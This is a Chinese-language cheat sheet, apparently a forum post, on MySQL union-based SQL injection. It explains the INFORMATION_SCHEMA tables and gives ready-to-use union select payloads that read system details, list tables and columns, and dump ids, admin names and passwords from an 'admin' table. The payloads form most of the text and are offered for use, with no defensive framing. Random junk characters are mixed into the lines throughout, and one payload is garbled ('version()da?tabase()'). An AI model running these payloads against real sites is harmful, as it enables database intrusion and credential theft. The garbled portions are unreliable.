mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
- E1 ~3 [3 H/ U! S& X* o
+ b, w" r4 P+ u3 r6 u  {* _% c: K学习盲注前先了解下 IFORMATION_SCHEMA 库
8 U2 E. v# u! l! r7 n6 q0 R; ?
( N/ v# H( b" u2 K" D5 @" m% B/ |7 LMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
/ v! s/ l, R/ x; j- T9 P|---字段：SCHEMA_NAME ->数据库名称
' U3 \1 R& m0 X: `
|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段：TABLE_NAME ->存储表的表名
( |2 F: S9 m, G$ S
|COLUMNS ->存储的字段名表
' H3 w% B& H0 \* _8 I+ e|---字段：TABLE_SCHEMA ->该字段所属数据库名
: ~) G) p5 T' V; j2 A|---字段：TABLE_NAME ->存储所属表的名称

|---字段：COLUMN_NAME ->该字段的名称
- B% G5 p  z1 e$ w
% C, W& p) W  H8 p& v2 ]/ f
* M0 [( H+ P/ s" a) o/ J
3 X. m& F; L' a0 P###########################################################################

0x001 获取系统信息:

union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
$ }8 p: M& f' y2 H4 ]7 Q" W, a
. D: B9 {/ F5 @  ]$ _% k0 L& r0 }/*
0 l/ o8 G, [% z; ]; h! ~
@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行HEX值

2 m. W9 e6 F" T& c$ {9 I+ ~  d1 Q. J! O*/


3 ~5 d/ I7 o- d: c
######################################################################

0x002 获取表名
2 d1 ^. r" m) K9 U* m; a
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*



/*
  m1 D: B/ O+ p- A7 ]
7 A  H1 C& B( `2 `/ O# x6 G0x67617264656e 为当前数据库名
) E( h( k6 y% q
/ }& s' x, d( Q* F$ v* o* vgroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
. y* o! |. p2 m1 r2 Y5 B
5 s5 V: K& C) ~/ w& Y0 d*/

; G7 F1 f/ _+ N. `2 w; [######################################################################

! Z4 n5 T, W) H9 f9 H
& N3 i3 K  B! H6 w6 N# y' `' |
0x003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

5 D1 n, \) I9 }8 [3 F) l4 A+ ^% E/*
' d' R4 |% M; o, E$ G
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

( l. c( V& {3 H0 n0 z0x61646d696e ->选择一个表
, u/ m( {  O$ l$ p% m
0x67617264656e ->数据库名
; i& d" x9 s% J+ `- x; z' ]: K
*/

/ b8 b% J4 M: W7 i# F2 T" ?6 B#####################################################################
- p1 P: n% J% n3 {
+ V6 b* f: k# u. z  W) l, l

0x004 获取数据

union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
/ i. P: Z" k8 Y" R
" b: ^  s+ ?3 s7 |; Z  J* wunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
; }9 _% d5 B  M. o

* t" Z- e3 C% M7 I2 x  g
) F# D6 z. X/ v  t$ r7 N  U9 n/*
4 D; m3 R- d5 x
0x3c62723e 换行符号HEX编码
; }  J+ X7 J) X% K' B8 g
8 x$ K' Z) j2 d+ }3 ?  I  `group_concat 同时获得该字段所有数据

) e4 O. q( a+ h; t*/

/ Z! n, c, T9 Q& K6 [. r